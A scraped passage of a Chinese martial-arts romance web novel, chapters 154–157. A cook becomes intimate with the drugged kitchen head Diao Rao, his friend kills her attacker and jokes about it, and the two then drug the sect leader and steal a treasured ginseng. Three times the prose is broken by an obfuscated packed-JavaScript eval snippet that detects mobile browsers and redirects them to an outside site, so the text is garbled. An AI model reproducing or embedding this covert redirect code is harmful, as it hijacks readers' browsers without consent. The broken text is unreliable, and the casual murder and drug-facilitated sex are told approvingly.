江雨宁不知刁娆要做什么,只好照做。随着帐幔落下来,刁娆,对着江雨宁轻解罗裳。见刁娆一件件衣衫掉落,江雨宁完全愣住了,脑袋也不由自己思考,只剩下本能的反应。 少时,刁娆凝脂玉肤毕现,江雨宁血脉喷张,更是不知是睁眼还是闭眼。刁娆未着片衣地依偎在江雨宁的怀里,这一下,江雨宁整个人更是完全僵住了,两只手甚至无处安放。 刁娆娇嗔道:“你怎么那么笨?还傻傻的,等什么呢?现在你想做什么,都随你了。” “我可以吗?”此时,江雨宁不合时宜地问出这种傻问题,他不敢相信这一切都是真的,他生怕这只是一场梦。 刁娆拿起江雨宁的手,让他感受从未感受过的风情。 江雨宁不是柳下惠,那份软香意浓令他完全沦陷了。顷刻间他心跳加速至狂乱的程度,明知不该,但江雨宁再也控制不住体内情感的奔流,也无法克制心中那原始的欲望,他粗壮的大手越来越不老实。江雨宁抱住刁娆,顺势倒下去将人压于身下。 刁娆娇声道:“你轻一点。” 江雨宁含混着嗓子“嗯”了一声,便一刻也等不及了。 狂风暴雨,电闪雷鸣,在爱的甘露滋养下,江雨宁终于扑灭了刁娆体内毒药的火焰。刁娆渐渐没有那么难受了,随之感受到的是从未走过的爱护和温存。 风雨渐停,江雨宁让刁娆伏在自己身上,他喘着粗气道:“刁娆,我是不是做错了事?明早你醒来后会不会恨我?” 刁娆娇嗔着:“你现在才说做错了事,是不是有点晚了?刚才怎么不忍着?大笨牛,让你轻一点,你还……” “对不起。” “逗你的,都是我自愿的。” 江雨宁支吾道:“刁娆……” “怎么了?” 江雨宁难以企口。 “有什么不能说的?我现在已经是你的人了,你提出什么要求我都答应你。” “我还想再来一次。” 刁娆身体已不像方才那般难受,但药性终究没有那么快消失,江雨宁这么一说,她也心痒痒的。 江雨宁怕刁娆不同意,连忙说道:“我这次温柔一点。” 刁娆红着玉颜道:“人在你的怀里,这种事你还要问我?”话说到一半,刁娆说不下去了。 “真的可以吗?”江雨宁还是很怕刁娆会生自己的气,所以仍忍不住追问着。 “你真是头大笨牛。”刁娆的脸贴在江雨宁的胸口处,听着大鼓一般的心跳,随即情不自禁地点了点头。 帐幔里又刮了一阵暴风,席卷着两个人的心。这一夜,刁娆任江雨宁予取予求,无力拒绝,也不愿拒绝。 翌日,天已大亮,刁娆在江雨宁的怀里醒来。两人目光交错,虽然昨夜已与面前的男子有了夫妻之实,可那毕竟是在情非得已的情形下发生的,现在刁娆整个人清醒了,女儿家难免有些羞赧。 刁娆还从未这么娇羞,不由得垂下眉眼。 江雨宁问道:“你醒了啊?我刚才摸过你的额头,已经没有昨夜那么热了。” 刁娆不知该说什么,只好冷着脸不说话。 江雨宁以为刁娆绷着脸是因后悔了昨夜之事,于是试探问道:“昨夜……” “你放心,我不需要你负责的。”刁娆说这话时,带有一抹失落,一丝自卑,还有一点委屈。她失落是因为感觉这个自己委身的人似乎并不想对自己负责人;她自卑于昨夜的以身相许是自己主动而不是在两情相悦下发生的,这样一来,即使她失了身,好像也无权怨怪对方;她委屈是因为自己虽然投怀送抱,但并未强求,也并未有纠缠之心,对方为何要急着摆脱自己。 这样的刁娆是从来没有过的,她骨子里敢爱敢恨,独立洒脱,从不会这样患得患失,更不会敏感多思,只因江雨宁是她生命中的第一个男人,刁娆才如此在意。当然,这第一个男人也多半是她余生里唯一的一个男人。刁娆自认自己不是贞洁烈女,但她也曾在心里起过誓,这辈子只认真一回,如果所托非人,那么自己一人过活一生也没什么不好,她本来就不觉得女人非要依托男人才能度日。 只是刁娆多心了,她误打误撞找到的江雨宁算是天底下最厚道,最实在的人。江雨宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429164|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙解释:“你误会我的意思了,我是怕昨夜你是冲动,我是怕你后悔了。我坏了你的名节,拿了你的身子,如果你不嫌弃我,我当然愿意负责的。不是当然,我不会说话,我是想负责任的,我心悦你。还有,昨夜之事我不后悔,永远不。” 江雨宁当然不会后悔,他心悦刁娆也是真的,想来他对刁娆的好感可能从见第一眼时就有了。刁娆美丽、自信、能干,这样的女人,一般男人都难以抗拒,像江雨宁那样实心眼的人,就更容易坠入到爱河里。 听江雨宁这样说,刁娆心里悸动着,“不知你在说什么,我要走了。”说着,刁娆坐起来穿着衣服。 江雨宁不想让刁娆这么快就走,他好像还有许多心里话要说,只是他一时心乱,不知该从哪儿说起。江雨宁从刁娆身后搂住了她,“娆娆,你别急着走啊,你还没回答我的话,嫁我为妻,你可愿意?” 江雨宁手放的位置敏感,刁娆的脸不觉染上一丝绯红,她呢喃低语,“人都是你的了,你说什么就是什么吧。” 江雨宁顿时心花怒放,亲吻着刁娆的脖颈,“别走,再陪我待一会儿。” 刁娆声音娇柔,“现在时候不早了,我真的要走了,你别欺负我了,你晚上再来我屋子。” 江雨宁也不再强迫刁娆,“你要走可以,但你告诉我,昨晚是谁给你下的药?” “你问这个要做什么?” “做什么?当然是帮你把他解决了,敢动我的女人,他就是找死。当然了,你放心,我下手会很隐蔽、利索,不会牵连到你的。” 听江雨宁这么说,刁娆回眸凝望着他,惊愕得一时怔住。她未想到憨憨傻傻的江雨宁会为自己出头,会说出这样的话来,尤其是“我的女人”那四个字,刁娆听在耳朵里格外感动。 那一刻,江雨宁在刁娆心里的形象又光辉了几分,原来她托付终身的人不是个胆小如鼠之辈,只是刁娆并不相信江雨宁真的能做到所说的。在刁娆眼里,江雨宁不过是一个厨子而已,而邓图是安荣的护卫,武艺高强不说,身边还有那么多属下伴在左右,搞不好江雨宁都没近邓图的身就已被干掉了。 刁娆回过神来,她相信江雨宁是真心为自己出头的,可她不忍心江雨宁为自己去送死,“别去了,算我求你,那人你惹不起。现在我有了你,也不觉得委屈了,真的。” “惹不起也得惹,我刚刚说了,你今天不告诉我那人是谁,我是不会让你走的。” “你这个人怎么那么死心眼呢?我不告诉你也是怕你出事,你不明白吗?”刁娆刚刚那样温声细语地跟江雨宁说着其中道理,可江雨宁怎么都不停,这让她有一丝愠怒。 “不行,这个仇我一定要报,我咽不下这口气。如果我不能保护好你,那还算什么男人。” “难道有勇无谋就是男人啦?” “娆娆,你可能低估我的能力了,我说能收拾那人就一定能收拾。” 听着江雨宁这般“顽固不化”,刁娆翻了个白眼,她看出来了,如果自己不说就会被他这么一直抱着,“那人是邓图,教主身边的护卫总管。我告诉你了,但是你真的不许替我报仇,我只希望你是平安的。” 话音一落,江雨宁便松开了手。 刁娆快速穿好了衣衫,走到屋门口时她停住脚步,犹豫道:“你真的别去了,你就答应我吧?” “这个事我不能答应你,但是我跟你保证,我不会出事的。” “混蛋,我恨你。你要找死,我才不管你。”说着刁娆推门走了出去。 刁娆反应这么大,是因为她不了解江雨宁那些人的实力。不过刁娆反复让自己不要去,江雨宁心里还是异常温暖感动,这就证明这个女人的心里是有自己的。江雨宁没把一个什么护卫总管放在眼里,就是教主安荣骁扬军真想要灭之,也不是太难的事。刁娆走后,江雨宁也没在自己屋子停留太久,就去山门外找了胡枫。 155. 第一百五十五章 胡枫见到江雨宁便问:“宁哥,你今天怎么睡到这个时辰啊?我都等你好久了。” “枫子,我…我……” “你什么你啊?你今天怎么了?吞吞吐吐的,是出了什么事了?” 江雨宁终于支吾道:“我遇到…一个女子。” “然后呢?”胡枫笑了,他故意不把话挑明,等着宁哥亲口说出来。 “我中意她。” 胡枫突然瞪大了双眼,“什么时候的事啊?宁哥,你真是深藏不露啊!” “昨日,哦不,昨夜。” 胡枫露出无语的表情,“合着你睡到日上三竿,是因昨夜春宵苦短是吧?” 江雨宁尴尬地笑了笑。 “我在这儿连个遮风挡雨的棚顶都没有,你却在那儿风花雪月,真不够兄弟啊。”打趣江雨宁片刻,胡枫笑了起来,“不过呢,你有了好事,兄弟我还是替你高兴的。跟我说说,你那娘们长得俏不?” “我觉得挺好,特别俊那种。” “你觉得好就行。” 江雨宁为难道:“兄弟,我这儿还有个棘手的事,需要你为兄弟办一下。” “你我兄弟之间还客气啥?说吧,啥事?是大闹天宫?还是西天取经啊?” 胡枫说话不开两句玩笑能死,这个性格众兄弟都知道,江雨宁也不跟他贫嘴,他稍稍郑重道:“这儿有个人欺负我‘媳妇’,你帮我把他解决掉。”此时,江雨宁跟在叶阳晨身边不久,武功还没太高,所以他觉得胡枫出马才更保险。 “他叫什么?”胡枫口里叼着狗尾巴草,一副信心十足的样子。 “承天殿前,护卫主管,邓图。” 胡枫一脸轻松平淡,“敢惹我嫂子,这家伙真是找死。好的,我知道了,这个家伙一个时辰后就会从这个世界消失了。邓图的事你就别惦记了,你还是去好好准备今晚的糕点去吧。” 江雨宁想说句谢谢,可他们兄弟之间向来不必如此,他只是把情意记在心里罢了。 之后,江雨宁便回了厨房,准备安荣今晚的夜宵,今夜的行动不能再有闪失了。晌午时分,大家都去午睡了,江雨宁仍在厨房忙碌着,突然一个石子飞到他的灶台上,他往厨房窗外一看,见胡枫半蹲在厨房外屋子的房瓦上。 胡枫冲江雨宁得意地眨了个眼,然后笑着点了点头,江雨宁会意,邓图已经被解决了。江雨宁放下手中的活,找了个偏僻无人的地方与胡枫说话。 胡枫的实力,江雨宁是知道的,只是他没想到胡枫会把此事办得如此利索。江雨宁还是惊讶问道:“兄弟,你是怎么办到的?” “也算是天助我也吧,那个邓图好像腿受了点小伤,今天就没有当班,他住的那个院子里的人都去做事了,就他一个人,我就非常容易地进了他的房间。事情搞定后,我还在他屋门口挂了个‘请勿打扰’的牌子,只要柜子里邓图的尸体不腐烂发臭,估计这几日是没人会发现的。” 江雨宁用拳轻轻地打了胡枫胸口一拳,“我就知道你小子最厉害。” “啥意思?我就杀人厉害啊?不是为了你,我已经好多年连鸡鸭鹅都舍不得宰了,我佛慈悲,我不忍杀生。” “好啦,兄弟你的人情我记下了,以后慢慢还。” “还个屁啊,我也是为我那还没过门的嫂子,成婚那天多跟我喝两杯啊。” 帮刁娆解决了麻烦,江雨宁返回了厨房。进了厨房门,他见刁娆正抱着双臂站在那里看向自己。未等江雨宁开口,刁娆冷着脸问道:“夜宵做到一半,跑哪儿去了?”语气似是责备,也似是撒娇,总之江雨宁听着格外顺耳。 江雨宁暖笑着,“我已经帮你把麻烦解决了,这回没人找你麻烦了。” 话音甫毕,刁娆眼眸惊得一亮,“你说真的?你怎么办到的?” “晚上我去你屋里找你,到时候再跟你说。” 刁娆略有羞涩低声道:“不让你来。” “嗨,这个你可不能反悔,是你说今晚我可以去找你的。” 这时,外面传来厨房伙计们的说笑声,刁娆知道是那些厨子午休完回来了。刁娆娇媚地瞪了江雨宁一眼,“德性,真没出息。” 那些厨子马上就要进来了,刁娆扭过头去不敢再看江雨宁,又立刻走远了两步,与江雨宁刻意保持一段距离,防止那些厨人发现端倪。那日,刁娆没事就往厨房跑,好像那个厨房有魔力一般。往常,刁娆每日也要去厨房巡视看看,可次数没有这么多。那些厨子都觉得今天的刁娆怪怪的,尽管她的语气还是那么冷酷霸气,可却没有平时那么爱骂人了。 每次进厨房,刁娆都会不由自主地用眼睛偷瞟江雨宁。仅仅过去一夜,她看江雨宁的眼神也起了变化,想起昨夜的事,她的心里总会不由得生出不一样的情愫。对刁娆来说,江雨宁再也不是无关紧要的人,而是自己的男人了。江雨宁同样有些不自在,看到刁娆就有种做贼心虚的感觉。 落日西斜,夜幕降临,胡枫再次提着一食盒的点心朝着承天殿走去。眼见这次胡枫顺利地进了殿门,江雨宁稍稍安心了些。可他只是高兴了眨眼的功夫,又见一个丫鬟走进了大殿。随之,安荣匆匆地走出承天殿,胡枫与丫鬟跟在安荣的身后也走了出来。江雨宁捶胸顿足,他知道今晚又失败了。 胡枫走过来,江雨宁急着问道:“又发生了什么事?” “唉,我也不知道,那丫鬟说安荣的夫人找安荣有要事,安荣自然又吃不成了,真是点背到家了。” 江雨宁沉默着,胡枫叹着气,“我们先走吧,杵在这儿被人看见了生疑。” 今晚计划又没有实施成,两人心里别提多郁闷了。 从承天殿那边回来,江雨宁直接去了刁娆的院子。今晚的计划又失败了,江雨宁本来没有任何心情来见刁娆,只是白天的时候说好了晚上要来看刁娆,他也不能言而无信。而且他知道只要偷到玉雪红参,也就意味着要离开了,他得趁这两日多见见刁娆。 见刁娆屋里的灯还亮着,江雨宁走过去敲了敲门,里面没有任何动静,也没人过来开门。 此时,刁娆就坐在屋中。事实上,天一黑下来,她就在屋中等着江雨宁了,要不是她知道江雨宁要去给教主送宵夜,她会等得更不耐烦。可是这会儿江雨宁真的来了,刁娆就是不想立刻跑过去给他开门,好像自己表现得很急切似的。 江雨宁知道刁娆在里面,索性继续敲门。这一次,他听到屋里有缓缓的脚步声传来。 门被打开,刁娆并未说话,而是转头往屋里走。江雨宁把门关上,然后朝着刁娆走去。 两人坐在桌子那里,彼此不说话。一天之内发生了那么大的改变,他们两人还都有点不适应,心里有好像有千言万语,却不知从何说起。 江雨宁支吾道:“早上你走后,我看床上那落红,原来你是第一次……” 话音刚落,刁娆紧锁眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14458783|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖,“你这话是什么意思?你究竟把我当成什么人了?你是不是以为我曾经有很多男人?如果不是为了维护自己的清白,我昨夜留在邓图房中就好,又怎么会跑到你的身边?”江雨宁第一句话说的是这个,刁娆很是气恼。 “你别误会,我不是那个意思,我的嘴真是太笨了。你可能不知,放在从前,像我这种出身的人能娶个媳妇就不错了,怎么还能娶个你这样貌美如花的女子。在我们老家,年纪大了的光棍娶个再醮之妇也是很寻常的。我刚刚本想说我得了你最美好的东西,我好珍惜你,结果让你生气了。” 听江雨宁这么说,刁娆的心被宽慰了许多,“总之,我不想你是因为我委身了你才肯娶我,我刁娆是不会逼着你对我负责任的。” 江雨宁捶了捶头,“不是不是,我再重新说,我是因为心悦你才想让你嫁予我为妻,这个才是我心中真正的想法。到时候三媒六聘,凤冠霞帔,我一定来迎娶你。” 听到江雨宁这番话,刁娆心头一暖,她知道自己的男人嘴笨,也就不难为他了。见刁娆仍然没有表示,江雨宁有点慌张,“难道你不愿意?”今日早上,刁娆的话外音算是已经答应嫁给江雨宁了,只是江雨宁仍不放心,还要再确定一下刁娆的心意。 看着江雨宁急得满头大汗的样子,刁娆的心除了欢悦,还生出一丝不忍心。刁娆不是矫揉造作的人,可是毕竟是婚姻大事,直接点头答应的话她却是一时说不出口的。 刁娆垂下眉眼,不去看江雨宁,“我不知道你在说什么?” 江雨宁愣神,自言自语着:“我还是没表达清楚吗?”他很急烦,不停地挠头。 刁娆从怀里掏出绣帕,“真笨,逗你的。瞧你,擦擦汗吧。” “擦什么汗啊?行不行?你倒是给个痛快话啊?” 刁娆扑哧一笑,“我今早不是说了吗?人都是你的了,你说什么就是什么,你还总问个没完。我此生除非不再嫁人,否则只会嫁你。”说着,刁娆亲自帮着江雨宁擦了擦额头。 江雨宁听到刁娆算是答应自己了,他喜不自胜,“娆娆,今夜我可以不走吗?” 刁娆听明白了江雨宁话中的意思,她同样不知该怎么回答,只能是默不作声。 江雨宁见刁娆娇羞满面的样子,心想女儿家同意的话可能不好意思说出口,于是他一不做二不休,“你不说,我就当你默许了。”说着他走过去把刁娆横着抱起来,径自朝着床榻那边走去。 刁娆心想:“这家伙倒是学得挺快,这种事就自作主张了。”女孩家总是有些矜持,刁娆语声柔媚,“我没说同意啊。” 既然把人抱起来,江雨宁哪肯再把刁娆放下来,“昨日你不是同意了吗?”情难自抑,江雨宁逼着自己,脸皮总算厚了一次。 刁娆娇嗔着:“亏我还以为你是老实之人,也是这么……” 江雨宁把刁娆慢慢放在床上,随之灯烛吹灭,帐幔落下,他将凝白如玉的刁娆压于身下,“娆娆,昨夜你神志不是很清醒,我让你心甘情愿给我一次。” 刁娆清楚江雨宁在意的什么,她沉默着,但是把双臂勾住了他的脖颈。 江雨宁吻上了刁娆,那张大手也开始不老实。 刁娆随之迷醉,直至整个人完全沦陷。她轻轻迎合,微微主动,都是在悄悄告诉江雨宁自己是心甘情愿的。 温情意浓,水润珠华,直至刁娆香肩上渗出细密的汗,江雨宁才肯收兵。 156. 第一百五十六章 刁娆细喘吟吟,“今晚你的次数用完了,不许再折腾我了。” “好的。”尽管江雨宁意犹未尽,但却不想勉强她。 刁娆柔声道:“你刚才问我愿不愿意嫁你,刚刚被你欺负那么多次,算是又回答你许多次了。这回你总该满意了吧?” 江雨宁摩挲着刁娆的玉臂,“娆儿,你真好。” “好什么好?你这老笨牛,人都是你的了,我到现在还不知你是谁,家住何方?还有我总觉得你不是一个简单的厨子。”刁娆一直认为江雨宁的身份不简单,比如他厨艺这么好,怎么可能之前是送菜的?有这等本事就不会甘于送菜。还有,如果他只是普通人,怎么可能杀了邓图易如反掌。只是从前,对刁娆来说,江雨宁是否普通,是否隐藏了真实身份,这与她并不相关。可是现在不同了,这是自己男人,刁娆不可能漠不关心他的底细。 “娆娆,我是谁,我出来做什么,现在还不能告诉你,不过关于我的一切,以后我会全部告诉你的。” 江雨宁之所以不告诉刁娆实情,是因骁扬军军规规定,有些事不能随意与人讲,即使是至亲也不行。江雨宁觉得,此次外出也是执行重要秘密任务,他却阴差阳错地给自己弄个媳妇,这要是让大家知道,已经很不合适了,倘若再轻易把军中身份说出去,就更是违反军中纪律了。 以江雨宁那样耿直的性格,不能与心爱之人坦露心声,他自己心里也很难受。江雨宁是那么信任刁娆,他也相信无论在任何情况下刁娆都不会出卖自己的。有那么一瞬间,江雨宁确实想把一切都告诉刁娆。可是转念一想,即使抛去军规不说,一旦他坦露了自己的身份,紧接着就要说出自己来天玄教的目的,很多事千丝万缕,又岂是一句话能说清楚的。到了那时,若是刁娆缠着自己问,他便需要解释许多给她听,可现在不是时候,他也没有那么多的时间。 而且江雨宁知道事情办完,就要尽快赶回军营去,这么短的时间,即使他想带着刁娆一起走,也是来不及准备的,毕竟刁娆还有个近似瘫痪的母亲。既然不能马上带着刁娆走,有些事说了无济于事,而且还会让刁娆更加担心自己。 见江雨宁不肯将自己的真正身份相告,刁娆无法接受,她忽地坐起来,顾不上遮挡胸前风光,“为何不能与我说?我们都…你还是不信任我,对吧?” “娆儿,你别生气,我确实有难处,我的身份不能让人知道。但是我可以告诉你,我叫江雨宁。” 江雨宁说得不清不楚的,刁娆误会了,还以为他是被官府通缉的要犯,所以身份才不能让人知道。刁娆怕江雨宁要面子,也只好隐晦劝慰:“你别顾虑太多,无论你是谁,犯了什么事,我都会陪着你,支持你的。” 江雨宁心中感动,也坐起来搂住刁娆的玉背。温存片刻,江雨宁又为难道:“娆娆,还有一件事,我要对你说,我说了后你可别生气。” “只要不是你心中有了别的女人,我都不会生你的气。” “当真?你说话算数?” “别让我着急嘛,什么事?” “我要走了,离开骅山,离开天玄教。”这也是为何江雨宁想留宿在刁娆这儿的原因,他一想到相处时日无多,还是会很舍不得。 刁娆喃喃说道:“正好我也不想待在这儿了,我就跟你一起走。” 江雨宁语气一顿,“娆儿,这次我走得急,还不能带着你。过些时日,我就来接你。” “什么?你要丢下我一个人走?”刁娆挣开他的怀里,眼睛紧紧瞪着江雨宁。也难怪刁娆反应会这么大,她听过太多不负责男人丢下家乡妻子外出就再也没回来的故事,所以一听江雨宁说不带自己走,她不仅生气,还很害怕江雨宁走了就再没消息了。 “娆儿,你先冷静一下。我又不是走了就不回来了,我真的是有要事在身。” 刁娆推了江雨宁一下,“你滚出去,既然你要走,为何昨晚你敢碰我身子,为何今夜又来找我?”女人任性起来,就是那么不讲道理,昨晚明明是刁娆主动的,却在生气后把那些都怨到江雨宁身上。 其实不只是听了太多薄情郎的故事,她自己身上就发生过这样的事。在她很小的时候,她的父亲就抛弃了她的母亲走了,母亲等了那么多年,父亲甚至一点音讯都没有,导致刁娆对男人天生没有什么信任感。这会儿听说江雨宁要走,她自然接受不了,她怕母亲的悲剧又在自己的身上重演。 江雨宁再次强行搂住刁娆,“娆儿,你听我说,我是有苦衷的。你不要多想,我绝不是那种忘恩负义的人,我说对你负责就一定会负责的。”江雨宁想着,等到回去同叶阳晨讲了后,安顿好一切后,就再特地来骅山接她。 “你不要再说了,我不想听。你出去,如果你再不出去,我就喊人了。”虽然是生着气,但对江雨宁的口气还是有几分娇柔。 江雨宁知道,刁娆此时在气头上,是什么都听不进去的,他想着等明日刁娆气消了,他再来赔罪。 江雨宁下了榻,一步三回头盯着刁娆看,可最终还是走出了屋子。 此刻,屋里只剩下自己,刁娆抱着膝盖静静地哭了起来。此刻,她稍稍冷静了一些,发觉有些事真的很奇怪,她今早还说自己委身是心甘情愿的,说江雨宁可以不用负责,现在听到人家要走了,自己又这样气急败坏的。刁娆这才更看清楚自己的心,原来她对这个男人已经有了很深的感情,所以才会有不舍、害怕、担忧这些情绪。刁娆明白过来,生气只是在乎,只是对他的期许有所不同了。 翌日,刁娆同样去了厨房许多次,说是为了检查卫生,试菜,其实只是想看看他。一天内,江雨宁好几次都想找机会与刁娆说话解释,可刁娆都没给他机会。 当夜胡枫第三次提着夜宵进了承天殿。此时,安荣在专心执卷而读,释卷而书,以至于胡枫进来,他都没有抬眼。 胡枫拎着食盒,走到安荣身边,“教主,这是刚刚出炉的夜宵,你尝尝。” “好的,你放这儿吧。” 胡枫把一碟子一碟子的点心拿出来,摆在书案边安荣能随手拿到的位置。之后他就用眼睛直勾勾地盯着安荣,想起这个道貌岸然的伪君子勾结了蒙古人,还篡夺了哥哥的教主之位,之后又派人追杀自己的亲侄女灭口,他的眼里就不由得生出一抹狠厉。胡枫几度攥紧拳头,想杀安荣而后快,可他怕此时杀人会令盗取玉雪红参的计划横生出不可控的变数,便强忍下心中的怒气,毕竟此时救阳晨和小雪的命才是最重要的事。 该忍的气是忍下了,可胡枫心里对自己说:“安荣,再让你活一段时间,用不了多久一定送你去见阎王他老人家。”之后胡枫就等得有些烦躁,他在盼着安荣尽快吃糕点。 又过了一会儿,安荣才随意拿起一块糕点塞进嘴里。这糕点里被江雨宁掺了双倍的迷药,这种迷药是映雪之前特制的,它无色无味,但药力极猛。从军营走时,胡枫想着有备无患便随身带了一些。 安荣嚼了几口,缓缓说道:“今日的糕点味道比从前更好,厨房是换了师傅吗?” 胡枫恭肃道:“嗯,这糕点是我做的。原来厨房的师傅这几日身体不适,我暂代他给教主做几顿宵夜。”胡枫大言不惭说这糕点是自己做的,只怕宁哥的耳根子要发热了。 安荣赞不绝口,微笑点着头,“手艺不错,以后要多做。” “嗯,教主喜欢吃,我以后一定多做…就怕……”话说到一半,安荣已经晕了过去,头栽了下去,人趴在了桌子上,胡枫继续小声把话说完,“就怕教主没那个福气,吃不到喽。” 胡枫不敢耽误时间,他先把安荣抱到床上去,这样即使有人进来,也会觉得教主是睡着了,不会有任何怀疑。胡枫抱怨着:“安荣,你个挨千刀的,你何德何能,敢让老子抱你?抱你还真够恶心的,老子平时都爱抱大姑娘的。” 把安荣安置好,胡枫开始找丹房的暗门,对于盗圣的徒弟来说,找暗门密道都是家常便饭了,他很快就找到了开暗门的机关。 胡枫拎着食盒走进了丹房,扑鼻而来的就是浓浓的药味,他捂住鼻子,自言自语道:“这破地儿,估计只有小雪闻得惯这里的味道。” 所有的竖柜胡枫都没打开,所有的架子他也看都未看,因为胡枫断定,镇教之宝不会放在这么随便的地方。 胡枫用手掌去摸墙壁,四周墙壁都被摸过一遍后,他又去摸脚下的花斑石。但胡枫并不是在找暗格,而是用手去摸石头的温度。胡枫想过,这玉雪红参最佳的储存位置当是冰窖,他在来的路上,还有在天玄教的这些天,他都想过很多次这个问题。而有冰的地方,石头的温度自然是凉的,如果发现了哪块石头是凉的,那么红参多半就藏在那块石头下。 最终,胡枫摸到墙角处的一块石头与周围石头的温度有差,他用力一按,石头随之翻转竖了起来,下面果然是个小冰窖,里面只放了一个花梨木盒子。胡枫取出石砖下的盒子,打开一看,里面果然是一棵色泽红润的人参,且气味香浓。 胡枫笑颜舒展,“人参啊人参,你可让我找得好苦啊!”此刻他心花怒放,喜悦于这回阳晨和小雪有救了。胡枫把拎进来的食盒铺满冰块,然后把红参放了进去。 至于刚才安荣吃剩下的那些糕点,被他顽皮地放到了冰窖里。石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488271|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砖重新被盖上,胡枫歪头撇了撇嘴,“这回宁哥的糕点也成了镇教之宝了。” 既然东西已经到手,胡枫也没耽搁,从容地拎着食盒走出了大殿,然后冲着门两侧的守卫说道:“两位大哥,教主刚吃完了糕点,说他困倦了,就先睡了,不让别人打扰他。” 护卫板着脸,但点了点头。 胡枫拎着食盒走下大殿的台阶,朝着江雨宁走去。 江雨宁看到胡枫得意的表情,就知道大功告成了。胡枫张开双臂,与江雨宁抱在一起相庆。 片刻后,胡枫轻松道:“好了,我们这就连夜赶下山,以免夜长梦多。” “啊?今夜就走?” “准确说是现在就走。” “可我……” 胡枫戏谑一笑,“怎么?舍不得嫂子?两情若是久长时,又岂在朝朝暮暮啊?等回去你跟阳晨说一声,然后抬着喜轿来接她就是了。” 江雨宁清楚离开天玄教的日子就在这两天,只是没想到这么快。不过他也知道阳晨和小雪都在等着玉雪红参救命,他也是不敢再耽搁的。 江雨宁正色道:“那你先下山,在山脚下等我,我约莫一炷香的时间就来。” “好的。一会儿见。”说完,胡枫拎着食盒下了山。 这都要走了,江雨宁当然要跟刁娆告个别,他跑去刁娆的闺房,轻轻敲着门,里面没有任何动静。江雨宁又继续敲,可还是没有一点回应。 江雨宁急着说道:“娆儿,你开门,我真的有很重要的事与你说。” 此时,刁娆坐在自己的床榻上,手里的绣帕都快被揉碎了。她也很想去给江雨宁开门,可心里就是有股闷气散不出来。 江雨宁了解刁娆的执拗和强势,自然明白如果刁娆的气不消,他就是敲上一夜,刁娆也是不会开门的。 江雨宁不再敲门,而是找了纸笔来,给刁娆写了个字条。他是个粗人,肚子里的墨水也不多,写不出什么动听的海誓山盟来,但字字句句真诚。 与胡枫约定的一炷香的时间也快到了,江雨宁不想让兄弟等着急了,便把写完的信,还有银票一并放进信封里,随即将信封从门缝塞了进去,然后便匆匆下山去了。 刁娆是第二日才看到了江雨宁给自己留下的告别信,她打开信封,先看见里面有五十张银票,每张是一千两。刁娆很是惊讶,她想不通江雨宁怎么会有这么多的钱? 刁娆自小在天玄教待着,直至十八岁掌管厨房,才开始有了月银,但也才一个月二两银子,攒了四年下来,也才有了三十两银子。刁娆爱美,平日里买那些胭脂水粉什么的,需要花很多钱。加之母亲身体不好,她也时常给母亲买些补品养身体。所以一下子见到这么多钱,着实令刁娆惊讶,这对她来说简直就是一笔巨款。 刁娆又展开那封信,上面写着:“娆娆,我有急事就先走了。但我发誓,我江雨宁不是忘恩负义的陈世美,当也不会让你做王宝钏。你等着我,我很快就会回来接你的。信封里我还给你留了一些银票,没别的意思,只希望你有难处时能解一时之急,你一定把钱收好。如果你用不上也没关系,全当我攒在你那里吧,等着我们成婚时用。” 看完这些,刁娆疯了一般冲出房间,跑去了江雨宁住的耳房,里面果然空无一人。她失落极了,完全没想到江雨宁昨夜是来与自己告别的,早知是这样的话,她昨晚就不那么任性了。 另一边,江雨宁与胡枫赶了一夜的路,刚坐在河边歇了口气。胡枫问道:“宁哥,我怎么看你一路都闷闷不乐的啊?” “我哪有闷闷不乐?” “你的郁闷都写在脸上了,怎么?昨日嫂子给了闭门羹?” 江雨宁一脸懵的表情,“你咋知道的呢?” “还我咋知道?你突然就走,嫂子肯定接受不了。再理性的女人都感性,等过阵子你来接她的时候跟她赔个不是,人自然就好了。” 江雨宁一脸崇拜,“兄弟,你还真懂女人啊!” “也不是很懂,略知一二而已。” 江雨宁还是有些不放心,“你说不会出什么岔子吧?小晨不会不同意我来接人吧?” “哪会?小晨狂傲不羁,视刻板礼教如粪土,他听到后一准替你高兴。要是他真的不同意的话,我就和你一起痛揍他。他自己还把媳妇带在身边呢,又有什么权力阻止别人?” 江雨宁咧嘴大笑起来。 “好啦,咱们该继续赶路了。”胡枫拍拍屁股站了起来。 兄弟二人三天后赶回了军营,大家见两人拿回了玉雪红参开心极了,这就意味着叶阳晨与温映雪有救了。 157. 第一百五十七章 